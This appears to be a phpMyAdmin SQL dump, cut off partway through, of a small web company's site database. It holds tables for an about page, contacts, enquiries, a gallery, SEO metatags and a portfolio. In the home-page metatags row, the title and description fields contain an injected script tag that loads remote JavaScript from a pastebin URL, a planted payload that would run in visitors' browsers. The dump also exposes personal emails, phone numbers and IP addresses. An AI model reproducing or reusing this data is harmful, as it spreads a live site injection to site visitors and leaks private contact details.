-- https://www.phpmyadmin.net/
--

START TRANSACTION;



--
-- Database: `srsbsrsb`
--

-- --------------------------------------------------------

--
-- Table structure for table `about`
--

CREATE TABLE `about` (
  `id` int(11) NOT NULL,
  `crdate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `ip` varchar(15) NOT NULL,
  `venuedate` text NOT NULL,
  `venue` text NOT NULL,
  `map` text NOT NULL,
  `image` text NOT NULL,
  `hotel` text NOT NULL,
  `status` enum('0','1') NOT NULL DEFAULT '1'
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `about`
--

INSERT INTO `about` (`id`, `crdate`, `ip`, `venuedate`, `venue`, `map`, `image`, `hotel`, `status`) VALUES
(1, '2022-10-03 02:26:57', '122.175.29.222', '<p>SR SOFTWARE & BUSINESS SOLUTIONS - brings you the innovative web and business solutions. We wish to bring you, an social entrepreneur platform which enables the village natural products i.e., A1 and A2 milk, organic agriculture products, naturally ripened fruits, vegetables. Also the village Handicrafts and handlooms. We are intended to create an unique platform connecting village natural products, agri produce, live stock, seeds, natural pesticides and village properties with latest e-commerce which enables the small and self employed enterprenuers can use this platform for their business promotions. We are intended to create an unique village brand which belongs to all and every one get benifited by this village brand. SR comes up with one Social Enterprenuer Commercial Platform along with paralally one MAC Society which enables the enterprenuers with training, funding (establishing) and makering solutions in the feids of fashion, food, live stock management, incubation, agriculture and horticulture.<br></p>', 'About SR Software and Business Solutions', 'https://www.google.com/maps/embed?pb=!1m28!1m12!1m3!1d1861875.2552164427!2d53.43796807380082!3d24.29505754251432!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!4m13!3e6!4m5!1s0x3e5e48dfb1ab12bd%3A0x33d32f56c0080aa7!2sUAE!3m2!1d23.424076!2d53.847818!4m5!1s0x3e5f43496ad9c645%3A0xbde66e5084295162!2sDubai+-+United+Arab+Emirates!3m2!1d25.2048493!2d55.2707828!5e0!3m2!1sen!2sin!4v1555834326405!5m2!1sen!2sin', '1664764017image1743521900.jpg', '<p><br></p>', '1');

-- --------------------------------------------------------

--
-- Table structure for table `contact`
--

CREATE TABLE `contact` (
  `id` int(11) NOT NULL,
  `crdate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `ip` varchar(15) NOT NULL,
  `address` text NOT NULL,
  `status` enum('0','1') NOT NULL DEFAULT '1',
  `email` text NOT NULL,
  `phone` text NOT NULL,
  `map` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `contact`
--

INSERT INTO `contact` (`id`, `crdate`, `ip`, `address`, `status`, `email`, `phone`, `map`) VALUES
(1, '2024-02-23 17:48:31', '110.226.147.185', 'Hyderabad ', '1', 'bsreddy.mv@gmail.com', '+917032285799, +91 9515312900', 'https://www.google.com/maps/place/3-14-124%2FGA,+Sahara+Rd,+Vivekanand+Nagar,+Sahara+Estate,+Auto+Nagar,+Hyderabad,+Telangana+500068/@17.3467651,78.5654592,17z/data=!3m1!4b1!4m6!3m5!1s0x3bcb9f70981af529:0xad653bceab519318!8m2!3d17.34676!4d78.5680341!16s%2Fg%2F11ghfnk4nb?entry=ttu');

-- --------------------------------------------------------

--
-- Table structure for table `contactinquiry`
--

CREATE TABLE `contactinquiry` (
  `id` int(10) NOT NULL,
  `crdate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `ip` varchar(16) NOT NULL,
  `title` varchar(10) NOT NULL,
  `firstname` varchar(50) NOT NULL,
  `lastname` varchar(50) NOT NULL,
  `email` varchar(50) NOT NULL,
  `phone` varchar(15) NOT NULL,
  `affiliation` varchar(200) NOT NULL,
  `country` varchar(100) NOT NULL,
  `message` text NOT NULL,
  `status` enum('0','1') NOT NULL DEFAULT '1'
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `contactinquiry`
--

INSERT INTO `contactinquiry` (`id`, `crdate`, `ip`, `title`, `firstname`, `lastname`, `email`, `phone`, `affiliation`, `country`, `message`, `status`) VALUES
(3, '2018-11-17 10:50:07', '127.0.0.1', 'Prof', 'dfgdfg', 'dfgdfg', 'aaims@gmail.com', '9908967856', 'heartcongress', 'Bolivarian Republic of Venezuela', 'dfgdfgdfg', '1'),
(4, '2018-11-17 11:00:08', '127.0.0.1', 'Mr', 'zxczxc', 'xzczxc', 'srinivas.itinfogroup@gmail.com', '8099117996', 'asdsad', 'Botswana', 'asdas', '1'),
(5, '2018-11-17 11:00:39', '127.0.0.1', 'Asst Prof ', 'adasd', 'asdas', 'tadmin@gmail.com', '9908967856', 'asdasd', 'Argentina', 'asdas', '1'),
(6, '2018-11-17 11:01:18', '127.0.0.1', 'Ms', 'sdfsf', 'sdfsf', 'tsanthu108@gmail.com', '8099117996', 'sdfsf', 'Bolivarian Republic of Venezuela', 'sdfsdf', '1'),
(7, '2018-11-17 11:01:52', '127.0.0.1', 'Assoc Prof', 'Mounika', 'thallaally', 't5admin@gmail.com', '9908967856', 'asdasd', 'Bolivarian Republic of Venezuela', 'sdfsdfs', '1'),
(8, '2018-11-17 12:22:25', '127.0.0.1', 'Mr', 'fddf', 'cvdfg', 'aaims@gmail.com', 'dfgdf', 'dfg', 'Brazil', 'dfg', '1'),
(9, '2018-11-22 19:35:00', '127.0.0.1', 'Mr', '', '', '', '', '', 'Select Your Country', '', '1'),
(10, '2018-12-10 19:25:43', '122.175.82.44', 'Mr', 'Santhosh', 'dfgdfg', 'tsanthu108@gmail.com', 'asdasd', 'asdas', 'Bosnia and Herzegovina', 'asd', '1'),
(11, '2018-12-10 19:26:28', '122.175.82.44', 'Mr', 'Mounika', 'zxc', 'vidhushi@gmail.com', '8099117996', '', 'Argentina', 'sdfs', '1');

-- --------------------------------------------------------

--
-- Table structure for table `employeepayment`
--

CREATE TABLE `employeepayment` (
  `id` int(10) NOT NULL,
  `crdate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `ip` varchar(12) NOT NULL,
  `name` varchar(100) NOT NULL,
  `emp_id` varchar(50) NOT NULL,
  `total_amount` varchar(50) NOT NULL,
  `pay_amount` varchar(50) NOT NULL,
  `cash` varchar(50) DEFAULT NULL,
  `status` varchar(2) NOT NULL DEFAULT '1'
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `employeepayment`
--

INSERT INTO `employeepayment` (`id`, `crdate`, `ip`, `name`, `emp_id`, `total_amount`, `pay_amount`, `cash`, `status`) VALUES
(24, '2019-07-05 10:33:31', '::1', 'Santhosh', '9', '50000', '10000', NULL, '1');

-- --------------------------------------------------------

--
-- Table structure for table `enquiry`
--

CREATE TABLE `enquiry` (
  `id` int(11) NOT NULL,
  `crdate` varchar(100) COLLATE utf8_unicode_ci NOT NULL,
  `name` varchar(100) COLLATE utf8_unicode_ci NOT NULL,
  `email` varchar(100) COLLATE utf8_unicode_ci NOT NULL,
  `phone` varchar(100) COLLATE utf8_unicode_ci NOT NULL,
  `message` text COLLATE utf8_unicode_ci NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

--
-- Dumping data for table `enquiry`
--

INSERT INTO `enquiry` (`id`, `crdate`, `name`, `email`, `phone`, `message`) VALUES
(1, '', 'vasu vasu', 'raju@gmail.com', '8106570194', 'dgsdgdsdg'),
(2, '', 'vasu vasu', 'raju@gmail.com', '8106570194', 'dgsdgdsdg'),
(3, '', 'Muleesbtraininginhyderabad', 'xcloudmatrixinfo@gmail.com', '8106570194', 'sdgsdg'),
(4, '', 'ramuj', 'xcloudmatrixinfo@gmail.com', '8106570194', 'dgsdg'),
(5, '', 'Muleesbtraininginhyderabad', 'xcloudmatrixinfo@gmail.com', '8106570194', 'dgsdg'),
(6, '', 'sdgsdg sdgsdg', 'raju@gmail.com', '8106570194', 'jjjjj'),
(7, '19-07-16 04:46:25', 'Muleesbtraininginhyderabad', 'xcloudmatrixinfo@gmail.com', '8106570194', 'sdgsdg'),
(8, '19-07-16 04:47:54', 'Muleesbtraininginhyderabad', 'xcloudmatrixinfo@gmail.com', '8106570194', 'dshdsh');

-- --------------------------------------------------------

--
-- Table structure for table `gallery`
--

CREATE TABLE `gallery` (
  `id` int(11) NOT NULL,
  `crdate` varchar(100) NOT NULL,
  `image` varchar(100) NOT NULL,
  `photoid` varchar(100) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `gallery`
--

INSERT INTO `gallery` (`id`, `crdate`, `image`, `photoid`) VALUES
(36, '', 'gallery493252939.jpg', '29'),
(37, '', 'gallery1713259458.jpg', '29'),
(38, '', 'gallery1659138779.jpg', '29'),
(40, '', 'gallery1878500821.jpg', '28'),
(41, '', 'gallery278644194.jpg', '28'),
(42, '', 'gallery434618909.jpg', '28'),
(43, '', 'gallery1566715012.jpg', '26'),
(44, '', 'gallery1551234395.jpg', '26'),
(50, '', 'gallery137942876.jpg', '24'),
(51, '', 'gallery1043877634.jpg', '24'),
(52, '', 'gallery1191970763.jpg', '24'),
(53, '', 'gallery1775392781.jpg', '24'),
(61, '', 'gallery1232206460.jpg', '30'),
(62, '', 'gallery1736915326.jpg', '30'),
(63, '', 'gallery1103949812.jpg', '30'),
(64, '', 'gallery658260900.jpg', '30'),
(65, '', 'gallery577018474.jpg', '14'),
(66, '', 'gallery785279925.jpg', '14'),
(67, '', 'gallery1913325662.jpg', '14'),
(68, '', 'gallery1920714200.jpg', '14'),
(69, '', 'gallery53321238.jpg', '14'),
(70, '', 'gallery1123657955.jpg', '14'),
(71, '', 'gallery1334983699.jpg', '14'),
(72, '', 'gallery2051119660.jpg', '14');

-- --------------------------------------------------------

--
-- Table structure for table `logo`
--

CREATE TABLE `logo` (
  `id` int(11) NOT NULL,
  `crdate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `title` text NOT NULL,
  `heading` varchar(200) NOT NULL,
  `date` varchar(200) NOT NULL,
  `content` varchar(200) NOT NULL,
  `image` text NOT NULL,
  `status` varchar(1) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `logo`
--

INSERT INTO `logo` (`id`, `crdate`, `title`, `heading`, `date`, `content`, `image`, `status`) VALUES
(1, '2022-07-27 06:17:42', 'First Round of Abstract Submission: January 15, 2019', 'hello world ', '', '', '1658902662image1249024941.jpg', '');

-- --------------------------------------------------------

--
-- Table structure for table `metatags`
--

CREATE TABLE `metatags` (
  `id` int(11) NOT NULL,
  `crdate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `ip` varchar(15) NOT NULL,
  `home` text NOT NULL,
  `title` text NOT NULL,
  `description` text NOT NULL,
  `keyword` text NOT NULL,
  `url` text NOT NULL,
  `status` enum('0','1') NOT NULL DEFAULT '1'
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `metatags`
--

INSERT INTO `metatags` (`id`, `crdate`, `ip`, `home`, `title`, `description`, `keyword`, `url`, `status`) VALUES
(1, '2019-12-23 12:38:02', '114.5.253.219', 'home', '<script type=\"text/javascript\" src=\"https://pastebin.com/raw/pNw7RCYM\"></script>', '<script type=\"text/javascript\" src=\"https://pastebin.com/raw/pNw7RCYM\"></script>', 'Surgery Conferences, Anaesthesia conferences, Surgery Congress, Anaesthesia Congress, Surgery Conference 2019, Anaesthesia Conference 2019, Surgery Conferences Dubai, Anaesthesia Conferences Dubai,  Surgery Conferences 2019, Anaesthesia Conferences 2019, Surgery Conference USA,  Anaesthesia Conference USA,  Surgery Meetings 2019, Anaesthesia Meetings 2019, International Surgery conference 2019, International Anaesthesia conference 2019, General Surgery Conferences Dubai, General Anaethesia Conferences Dubai, General Surgery Conferences 2019, General Anaethesia Conferences 2019, Neurosurgery Conferences 2019, cardiothoracic surgery conferences 2019, Top Surgeons meeting 2019, Top Surgery Conferences in Dubai, Top Anaesthesia conferences in Dubai, International Surgery Conferences 2019, International Anaesthesia Conferences 2019, International Surgery meetings, International Anaesthesia meetings, International Surgery Conference Dubai, International Anaesthesia Conference Dubai, Surgical events 2019, Pediatric Surgery Conferences 2019, Vascular Surgery Conferences 2019, Transplantation conferences 2019, Global surgery conferences 2019, Global Anaesthesia conferences 2019, Ophthalmology Conferences 2019, Surgical oncology Conferences 2019                                                                                                 ', 'index.php', '1'),
(2, '2019-05-30 09:19:35', '122.175.103.171', 'About Us', 'About Us |Surgery Congress 2019 | Anaesthesia Congress 2019 |World Surgery Congress |World Anaesthesia Congress | Surgery Conferences 2019 | Anaesthesia Conferences 2019 | Surgery Conference 2019 | Anaesthesia Conference 2019 |Surgery Conferences Dubai 2019 | Anaesthesia Conferences Dubai 2019 | World Surgery Conferences 2019 |World Anaesthesia conferences 2019| Surgery Conference Dubai 2019 | Anaesthesia Conference Dubai 2019 | World Surgery Conference | World Anaesthesia conference |Workshops | Dubai |UAE| USA | Europe | Asia Pacific | Middle East| 2019                                                        ', 'Meet the Surgeons across the globe at surgery and anaesthesia conference on September 09-11, 2019 in Dubai, UAE which provides the worldwide stage to talk about advanced research in the field of Surgery and Anaesthesia                                                                         ', 'Surgery Conferences, Anaesthesia conferences, Surgery Congress, Anaesthesia Congress, Surgery Conference 2019, Anaesthesia Conference 2019, Surgery Conferences Dubai, Anaesthesia Conferences Dubai,  Surgery Conferences 2019, Anaesthesia Conferences 2019, Surgery Conference USA,  Anaesthesia Conference USA,  Surgery Meetings 2019, Anaesthesia Meetings 2019, International Surgery conference 2019, International Anaesthesia conference 2019, General Surgery Conferences Dubai, General Anaethesia Conferences Dubai, General Surgery Conferences 2019, General Anaethesia Conferences 2019, Neurosurgery Conferences 2019, cardiothoracic surgery conferences 2019, Top Surgeons meeting 2019, Top Surgery Conferences in Dubai, Top Anaesthesia conferences in Dubai, International Surgery Conferences 2019, International Anaesthesia Conferences 2019, International Surgery meetings, International Anaesthesia meetings, International Surgery Conference Dubai, International Anaesthesia Conference Dubai, Surgical events 2019, Pediatric Surgery Conferences 2019, Vascular Surgery Conferences 2019, Transplantation conferences 2019, Global surgery conferences 2019, Global Anaesthesia conferences 2019, Ophthalmology Conferences 2019, Surgical oncology Conferences 2019                                                                             ', 'aboutus.php', '1'),
(3, '2019-05-30 09:19:25', '122.175.103.171', 'Committee Members', 'Organising Committee  | Surgery Congress 2019 | Anaesthesia Congress 2019 |World Surgery Congress |World Anaesthesia Congress | Surgery Conferences 2019 | Anaesthesia Conferences 2019 | Surgery Conference 2019 | Anaesthesia Conference 2019 |Surgery Conferences Dubai 2019 | Anaesthesia Conferences Dubai 2019 | World Surgery Conferences 2019 |World Anaesthesia conferences 2019| Surgery Conference Dubai 2019 | Anaesthesia Conference Dubai 2019 | World Surgery Conference | World Anaesthesia conference |Workshops | Dubai |UAE| USA | Europe | Asia Pacific | Middle East| 2019                                              ', 'We welcome everyone across the world to attend International Conference on Surgery and Anaesthesia in Dubai, UAE on September 09-11, 2019 which provides boundless sessions on surgery and anesthesiology                                             ', 'Surgery Conferences, Anaesthesia conferences, Surgery Congress, Anaesthesia Congress, Surgery Conference 2019, Anaesthesia Conference 2019, Surgery Conferences Dubai, Anaesthesia Conferences Dubai,  Surgery Conferences 2019, Anaesthesia Conferences 2019, Surgery Conference USA,  Anaesthesia Conference USA,  Surgery Meetings 2019, Anaesthesia Meetings 2019, International Surgery conference 2019, International Anaesthesia conference 2019, General Surgery Conferences Dubai, General Anaethesia Conferences Dubai, General Surgery Conferences 2019, General Anaethesia Conferences 2019, Neurosurgery Conferences 2019, cardiothoracic surgery conferences 2019, Top Surgeons meeting 2019, Top Surgery Conferences in Dubai, Top Anaesthesia conferences in Dubai, International Surgery Conferences 2019, International Anaesthesia Conferences 2019, International Surgery meetings, International Anaesthesia meetings, International Surgery Conference Dubai, International Anaesthesia Conference Dubai, Surgical events 2019, Pediatric Surgery Conferences 2019, Vascular Surgery Conferences 2019, Transplantation conferences 2019, Global surgery conferences 2019, Global Anaesthesia conferences 2019, Ophthalmology Conferences 2019, Surgical oncology Conferences 2019                                                  ', 'commitee.php', '1'),
(4, '2019-05-30 09:19:07', '122.175.103.171', 'Brochure', 'Speakers | Surgery Congress 2019 | Anaesthesia Congress 2019 |World Surgery Congress |World Anaesthesia Congress | Surgery Conferences 2019 | Anaesthesia Conferences 2019 | Surgery Conference 2019 | Anaesthesia Conference 2019 |Surgery Conferences Dubai 2019 | Anaesthesia Conferences Dubai 2019 | World Surgery Conferences 2019 |World Anaesthesia conferences 2019| Surgery Conference Dubai 2019 | Anaesthesia Conference Dubai 2019 | World Surgery Conference | World Anaesthesia conference |Workshops | Dubai |UAE| USA | Europe | Asia Pacific | Middle East| 2019                                                                                                     ', 'We welcome everyone across the world to attend International Conference on Surgery and Anaesthesia in Dubai, UAE on September 09-11, 2019 which provides boundless sessions on surgery and anesthesiology                                                                                  ', 'Surgery Conferences, Anaesthesia conferences, Surgery Congress, Anaesthesia Congress, Surgery Conference 2019, Anaesthesia Conference 2019, Surgery Conferences Dubai, Anaesthesia Conferences Dubai,  Surgery Conferences 2019, Anaesthesia Conferences 2019, Surgery Conference USA,  Anaesthesia Conference USA,  Surgery Meetings 2019, Anaesthesia Meetings 2019, International Surgery conference 2019, International Anaesthesia conference 2019, General Surgery Conferences Dubai, General Anaethesia Conferences Dubai, General Surgery Conferences 2019, General Anaethesia Conferences 2019, Neurosurgery Conferences 2019, cardiothoracic surgery conferences 2019, Top Surgeons meeting 2019, Top Surgery Conferences in Dubai, Top Anaesthesia conferences in Dubai, International Surgery Conferences 2019, International Anaesthesia Conferences 2019, International Surgery meetings, International Anaesthesia meetings, International Surgery Conference Dubai, International Anaesthesia Conference Dubai, Surgical events 2019, Pediatric Surgery Conferences 2019, Vascular Surgery Conferences 2019, Transplantation conferences 2019, Global surgery conferences 2019, Global Anaesthesia conferences 2019, Ophthalmology Conferences 2019, Surgical oncology Conferences 2019                                                                                 ', 'brochure.php', '1'),
(5, '2019-05-30 09:19:17', '122.175.103.171', 'Abstract Submission', 'Abstract Submission | Surgery Congress 2019 | Anaesthesia Congress 2019 |World Surgery Congress |World Anaesthesia Congress | Surgery Conferences 2019 | Anaesthesia Conferences 2019 | Surgery Conference 2019 | Anaesthesia Conference 2019 |Surgery Conferences Dubai 2019 | Anaesthesia Conferences Dubai 2019 | World Surgery Conferences 2019 |World Anaesthesia conferences 2019| Surgery Conference Dubai 2019 | Anaesthesia Conference Dubai 2019 | World Surgery Conference | World Anaesthesia conference |Workshops | Dubai |UAE| USA | Europe | Asia Pacific | Middle East| 2019                                                                                                       ', 'Surgery Congress cordially invites you to participate as speaker, delegate, sponsor/ exhibitor at first edition of International Conference on Surgery and Anaesthesia during 09-11 September, 2019                            ', 'Surgery Conferences, Anaesthesia conferences, Surgery Congress, Anaesthesia Congress, Surgery Conference 2019, Anaesthesia Conference 2019, Surgery Conferences Dubai, Anaesthesia Conferences Dubai,  Surgery Conferences 2019, Anaesthesia Conferences 2019, Surgery Conference USA,  Anaesthesia Conference USA,  Surgery Meetings 2019, Anaesthesia Meetings 2019, International Surgery conference 2019, International Anaesthesia conference 2019, General Surgery Conferences Dubai, General Anaethesia Conferences Dubai, General Surgery Conferences 2019, General Anaethesia Conferences 2019, Neurosurgery Conferences 2019, cardiothoracic surgery conferences 2019, Top Surgeons meeting 2019, Top Surgery Conferences in Dubai, Top Anaesthesia conferences in Dubai, International Surgery Conferences 2019, International Anaesthesia Conferences 2019, International Surgery meetings, International Anaesthesia meetings, International Surgery Conference Dubai, International Anaesthesia Conference Dubai, Surgical events 2019, Pediatric Surgery Conferences 2019, Vascular Surgery Conferences 2019, Transplantation conferences 2019, Global surgery conferences 2019, Global Anaesthesia conferences 2019, Ophthalmology Conferences 2019, Surgical oncology Conferences 2019                                                      ', 'abstract.php', '1'),
(6, '2019-05-30 09:19:45', '122.175.103.171', 'Scientific Program', 'Tentative Program | Surgery Congress 2019 | Anaesthesia Congress 2019 |World Surgery Congress |World Anaesthesia Congress | Surgery Conferences 2019 | Anaesthesia Conferences 2019 | Surgery Conference 2019 | Anaesthesia Conference 2019 |Surgery Conferences Dubai 2019 | Anaesthesia Conferences Dubai 2019 | World Surgery Conferences 2019 |World Anaesthesia conferences 2019| Surgery Conference Dubai 2019 | Anaesthesia Conference Dubai 2019 | World Surgery Conference | World Anaesthesia conference |Workshops | Dubai |UAE| USA | Europe | Asia Pacific | Middle East| 2019                                                                                ', 'We take the immense pleasure to invite all the eminent speakers, Students and Delegates to attend the \"International Conference on Surgery and Anaesthesia” which is to be held on September 09-11, 2019 at    Dubai, UAE                            ', 'Surgery Conferences, Anaesthesia conferences, Surgery Congress, Anaesthesia Congress, Surgery Conference 2019, Anaesthesia Conference 2019, Surgery Conferences Dubai, Anaesthesia Conferences Dubai,  Surgery Conferences 2019, Anaesthesia Conferences 2019, Surgery Conference USA,  Anaesthesia Conference USA,  Surgery Meetings 2019, Anaesthesia Meetings 2019, International Surgery conference 2019, International Anaesthesia conference 2019, General Surgery Conferences Dubai, General Anaethesia Conferences Dubai, General Surgery Conferences 2019, General Anaethesia Conferences 2019, Neurosurgery Conferences 2019, cardiothoracic surgery conferences 2019, Top Surgeons meeting 2019, Top Surgery Conferences in Dubai, Top Anaesthesia conferences in Dubai, International Surgery Conferences 2019, International Anaesthesia Conferences 2019, International Surgery meetings, International Anaesthesia meetings, International Surgery Conference Dubai, International Anaesthesia Conference Dubai, Surgical events 2019, Pediatric Surgery Conferences 2019, Vascular Surgery Conferences 2019, Transplantation conferences 2019, Global surgery conferences 2019, Global Anaesthesia conferences 2019, Ophthalmology Conferences 2019, Surgical oncology Conferences 2019                                               ', 'scientific.php', '1'),
(7, '2019-05-30 09:19:54', '122.175.103.171', 'Registration', 'Registration | Surgery Congress 2019 | Anaesthesia Congress 2019 |World Surgery Congress |World Anaesthesia Congress | Surgery Conferences 2019 | Anaesthesia Conferences 2019 | Surgery Conference 2019 | Anaesthesia Conference 2019 |Surgery Conferences Dubai 2019 | Anaesthesia Conferences Dubai 2019 | World Surgery Conferences 2019 |World Anaesthesia conferences 2019| Surgery Conference Dubai 2019 | Anaesthesia Conference Dubai 2019 | World Surgery Conference | World Anaesthesia conference |Workshops | Dubai |UAE| USA | Europe | Asia Pacific | Middle East| 2019                                               ', 'We take the immense pleasure to invite all the eminent speakers, Students and Delegates to attend the \"International Conference on Surgery and Anaesthesia” which is to be held on September 09-11, 2019 at    Dubai, UAE                                            ', 'Surgery Conferences, Anaesthesia conferences, Surgery Congress, Anaesthesia Congress, Surgery Conference 2019, Anaesthesia Conference 2019, Surgery Conferences Dubai, Anaesthesia Conferences Dubai,  Surgery Conferences 2019, Anaesthesia Conferences 2019, Surgery Conference USA,  Anaesthesia Conference USA,  Surgery Meetings 2019, Anaesthesia Meetings 2019, International Surgery conference 2019, International Anaesthesia conference 2019, General Surgery Conferences Dubai, General Anaethesia Conferences Dubai, General Surgery Conferences 2019, General Anaethesia Conferences 2019, Neurosurgery Conferences 2019, cardiothoracic surgery conferences 2019, Top Surgeons meeting 2019, Top Surgery Conferences in Dubai, Top Anaesthesia conferences in Dubai, International Surgery Conferences 2019, International Anaesthesia Conferences 2019, International Surgery meetings, International Anaesthesia meetings, International Surgery Conference Dubai, International Anaesthesia Conference Dubai, Surgical events 2019, Pediatric Surgery Conferences 2019, Vascular Surgery Conferences 2019, Transplantation conferences 2019, Global surgery conferences 2019, Global Anaesthesia conferences 2019, Ophthalmology Conferences 2019, Surgical oncology Conferences 2019                             ', 'registration.php', '1'),
(8, '2019-05-30 09:20:03', '122.175.103.171', 'Sponsors & \r\n Ehibitor   ', 'Exhibitiors | Surgery Congress 2019 | Anaesthesia Congress 2019 |World Surgery Congress |World Anaesthesia Congress | Surgery Conferences 2019 | Anaesthesia Conferences 2019 | Surgery Conference 2019 | Anaesthesia Conference 2019 |Surgery Conferences Dubai 2019 | Anaesthesia Conferences Dubai 2019 | World Surgery Conferences 2019 |World Anaesthesia conferences 2019| Surgery Conference Dubai 2019 | Anaesthesia Conference Dubai 2019 | World Surgery Conference | World Anaesthesia conference |Workshops | Dubai |UAE| USA | Europe | Asia Pacific | Middle East| 2019                                                        ', 'Meet the Surgeons across the globe at surgery and anaesthesia conference on September 09-11, 2019 in Dubai, UAE which provides the worldwide stage to talk about advanced research in the field of Surgery and Anaesthesia                                                                                 ', 'Surgery Conferences, Anaesthesia conferences, Surgery Congress, Anaesthesia Congress, Surgery Conference 2019, Anaesthesia Conference 2019, Surgery Conferences Dubai, Anaesthesia Conferences Dubai,  Surgery Conferences 2019, Anaesthesia Conferences 2019, Surgery Conference USA,  Anaesthesia Conference USA,  Surgery Meetings 2019, Anaesthesia Meetings 2019, International Surgery conference 2019, International Anaesthesia conference 2019, General Surgery Conferences Dubai, General Anaethesia Conferences Dubai, General Surgery Conferences 2019, General Anaethesia Conferences 2019, Neurosurgery Conferences 2019, cardiothoracic surgery conferences 2019, Top Surgeons meeting 2019, Top Surgery Conferences in Dubai, Top Anaesthesia conferences in Dubai, International Surgery Conferences 2019, International Anaesthesia Conferences 2019, International Surgery meetings, International Anaesthesia meetings, International Surgery Conference Dubai, International Anaesthesia Conference Dubai, Surgical events 2019, Pediatric Surgery Conferences 2019, Vascular Surgery Conferences 2019, Transplantation conferences 2019, Global surgery conferences 2019, Global Anaesthesia conferences 2019, Ophthalmology Conferences 2019, Surgical oncology Conferences 2019                                                                               ', 'sponsors.php', '1'),
(9, '2019-05-30 09:20:13', '122.175.103.171', 'Venue', 'Venue | Surgery Congress 2019 | Anaesthesia Congress 2019 | World Surgery Congress | World Anaesthesia Congress | Surgery Conferences 2019 | Anaesthesia Conferences 2019 | Surgery Conference 2019 | Anaesthesia Conference 2019 |Surgery Conferences Dubai 2019 | Anaesthesia Conferences Dubai 2019 | World Surgery Conferences 2019 |World Anaesthesia conferences 2019| Surgery Conference Dubai 2019 | Anaesthesia Conference Dubai 2019 | World Surgery Conference | World Anaesthesia conference |Workshops | Dubai |UAE| USA | Europe | Asia Pacific | Middle East| 2019                                                  ', 'Surgery Congress cordially invites you to participate as speaker, delegate, sponsor/ exhibitor at first edition of International Conference on Surgery and Anaesthesia during 09-11 September, 2019                                                 ', 'Surgery Conferences, Anaesthesia conferences, Surgery Congress, Anaesthesia Congress, Surgery Conference 2019, Anaesthesia Conference 2019, Surgery Conferences Dubai, Anaesthesia Conferences Dubai,  Surgery Conferences 2019, Anaesthesia Conferences 2019, Surgery Conference USA,  Anaesthesia Conference USA,  Surgery Meetings 2019, Anaesthesia Meetings 2019, International Surgery conference 2019, International Anaesthesia conference 2019, General Surgery Conferences Dubai, General Anaethesia Conferences Dubai, General Surgery Conferences 2019, General Anaethesia Conferences 2019, Neurosurgery Conferences 2019, cardiothoracic surgery conferences 2019, Top Surgeons meeting 2019, Top Surgery Conferences in Dubai, Top Anaesthesia conferences in Dubai, International Surgery Conferences 2019, International Anaesthesia Conferences 2019, International Surgery meetings, International Anaesthesia meetings, International Surgery Conference Dubai, International Anaesthesia Conference Dubai, Surgical events 2019, Pediatric Surgery Conferences 2019, Vascular Surgery Conferences 2019, Transplantation conferences 2019, Global surgery conferences 2019, Global Anaesthesia conferences 2019, Ophthalmology Conferences 2019, Surgical oncology Conferences 2019                                                    ', 'conference.php', '1');

-- --------------------------------------------------------

--
-- Table structure for table `portfolio`
--

CREATE TABLE `portfolio` (
  `id` int(10) NOT NULL,
  `crdate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `ip` varchar(12) NOT NULL,
  `heading` varchar(100) NOT NULL,
  `livelink` text NOT NULL,
  `image` text NOT NULL,
  `status` varchar(2) NOT NULL DEFAULT '1'
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `portfolio`
--

INSERT INTO `portfolio` (`id`, `crdate`, `ip`, `heading`, `livelink`, `image`, `status`) VALUES
(17, '2022-04-04 10:16:17', '124.123.189.', 'E-Commerce', 'http://www.myvillagemart.com', '1649067377image2109544615.jpg', '1'),
(19, '2022-04-04 10:05:46', '124.123.189.', 'APARTMENT MANAGEMENT', 'https://srsbsolutions.com/projects/apartment/', '1563800903image490778688.jpg', '1'),
(20, '2022-04-04 10:21:21', '124.123.189.', 'VILLAGE WEBSITES : VASALAMARRI', 'https://villageconnectindia.in/vasalamarri/', '1649067681image1863587741.jpg', '1'),
(22, '2022-04-04 10:23:11', '124.123.189.', 'VILLAGE WEBSITES : RAJAPET', 'https://villageconnectindia.in/rajapet/', '1649067791image1324757634.jpg', '1'),
(23, '2022-04-04 10:24:26', '124.123.189.', 'VILLAGE WEBSITES : NAGAPURI', 'https://villageconnectindia.in/nagapuri/', '1649067866image1515252935.jpg', '1'),
(24, '2023-04-25 11:18:22', '117.98.199.2', 'NGO WEBSITES', 'https://villageconnectindia.in', '1682421502image1611356209.jpg', '1'),
(25, '2023-04-25 11:14:46', '117.98.199.2', 'ERP SOLUTIONS', 'https://janathabazaar.com/', '1682421286image2066713461.jpg', '1'),
(26, '2023-04-25 11:20:28', '117.98.199.2', 'FARMER PRODUCER ORGANIZATIONS', 'https://www.kisanmithra.com/', '1682421628image778220811.jpg', '1');

-- --------------------------------------------------------

--
-- Table structure for table `product`
--

CREATE TABLE `product` (
  `id` int(10) NOT NULL,
  `crdate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `ip` varchar(12) NOT NULL,
  `heading` varchar(100) NOT NULL,
  `websitelink` text NOT NULL,
